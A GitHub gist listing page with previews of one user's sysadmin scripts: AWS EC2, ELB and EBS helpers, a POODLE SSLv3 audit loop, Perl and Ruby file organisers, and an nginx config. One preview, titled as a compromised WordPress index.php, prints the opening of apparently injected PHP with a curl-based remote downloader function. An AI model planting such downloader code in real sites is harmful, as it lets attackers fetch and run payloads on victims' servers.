Skip to content

Instantly share code, notes, and snippets.

evandhoffman / Payload.php
Last active Aug 29, 2015
Owned wordpress index.php
View Payload.php
$ php crap.php
if (!defined('frmDs')){
define('frmDs' ,1);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
evandhoffman / EWWWW.txt
Last active Aug 29, 2015
Awful one-liner
View EWWWW.txt
root@ip-10-14-10-142:~# export INSTANCE_ID=`ec2metadata --instance-id`
root@ip-10-14-10-142:~# HOSTNAME=`aws ec2 describe-tags --region us-east-1 --filter "Name=resource-id,Values=$INSTANCE_ID" 'Name=key,Values=Name' | perl -ne 'chomp; my @a = split(/[ ]+/); next unless $a[1] eq "\"Value\":"; $a[2] =~ s/\"([\d\w\.\-]+)\".+/$1/; print "$a[2]\n"'`
root@ip-10-14-10-142:~# hostname $HOSTNAME
root@ip-10-14-10-142:~# echo $HOSTNAME
root@ip-10-14-10-142:~# echo $HOSTNAME > /etc/hostname
evandhoffman /
Last active Aug 29, 2015
Perl script to organize a pile of MP3s into sane folders so I can put them in my car USB stick.
use strict;
use warnings;
#use MP3::M3U::Parser;
use MP3::Tag;
use Data::Dumper;
use File::Copy;
evandhoffman /
Last active Aug 29, 2015
List all instances in an ELB, and all ELBs the instances are in.


$ ruby ./instance_to_elb.rb


The output is a JSON containing the mapping of LB->instances as well as Instance->LBs.

evandhoffman /
Last active Aug 29, 2015
Perl script to parse my old everquest logs.
use strict;
my $date_regex = qr/^\[(\w{3}) (\w{3}) (\d{2}) (\d{2}):(\d{2}):(\d{2}) (\d{4})\]/;
my $guild_msg = qr/(\w+) tells the guild, '([^']+)'/;
my $channel_msg = qr/(\w+) tell(?:s?) ([\w]+):(?:\d+), '([^']+)'/;
my $raid_msg = qr/(\w+) tells the raid, '([^']+)'/;
evandhoffman / gist:c22f0f3b9cfe8c906fbf
Last active Aug 29, 2015
Tag all EBS volumes in a VPC
View gist:c22f0f3b9cfe8c906fbf

Get list of instances in the VPC:

[evan@Evan ~] $ aws ec2 describe-instances --filter Name=vpc-id,Values=vpc-id | jq '[.Reservations[] | .Instances[] | .InstanceId ] | join(",")'

Get the list of volumes attached to those instances:

[evan@Evan ~] $ aws ec2 describe-volumes --filters Name=attachment.instance-id,Values=i-abcd,i-abce,i-abcf,i-abcg

Paste result into this command:


What is it?

It's a script that renames all your EBS volumes to the name+device of the EC2 instance they're attached to. It also applies the "environment" tag to each volume, read from the instance. (I use the 'environment' tag in billing reports.)

So if your instance's "Name" tag is and the volume is mapped to /dev/sdh, this script would apply the tag Name=backend-1234-prod-example-com-dev-sdh to the volume, and set the environment tag to match the instance's.

evandhoffman /
Last active Aug 29, 2015
Update all ELBs to address POODLE
# To audit, I tried the bash script here but it didn't work,
# so here's my version. It doesn't attempt to check internal ELBs (prefixed with 'internal').
for ELB in $( aws elb describe-load-balancers | grep DNSName | awk '{ print $2 }' | perl -ne 'chomp; $_ =~ /\"([\w-\.]+)\",/; my $elb = $1; print "$elb " unless $elb =~ /^internal/'); do
echo "$ELB ";
echo "01 logout" | openssl s_client -ssl3 -connect $ELB:443 2>&1 | grep DONE &> /dev/null
if [[ "$?" -ne "1" ]]; then
echo FAIL
View nginx.conf
# Change YOUR_TOKEN to your prerender token and uncomment that line if you want to cache urls and view crawl stats
# Change (server_name) to your website url
# Change /path/to/your/root to the correct value
server {
listen 80;
root /path/to/your/root;
index index.html;
evandhoffman / move_movies.rb
Created Apr 30, 2015
Script to consolidate all the .MOV files on my computer into a single directory, organized by YYYY/YYYY-MM/ dir structure.
View move_movies.rb
require 'fileutils'
base_dir = ARGV[0]
target_dir = ARGV[1]
movies = Dir.glob([base_dir, '**','*.mov'].join('/'))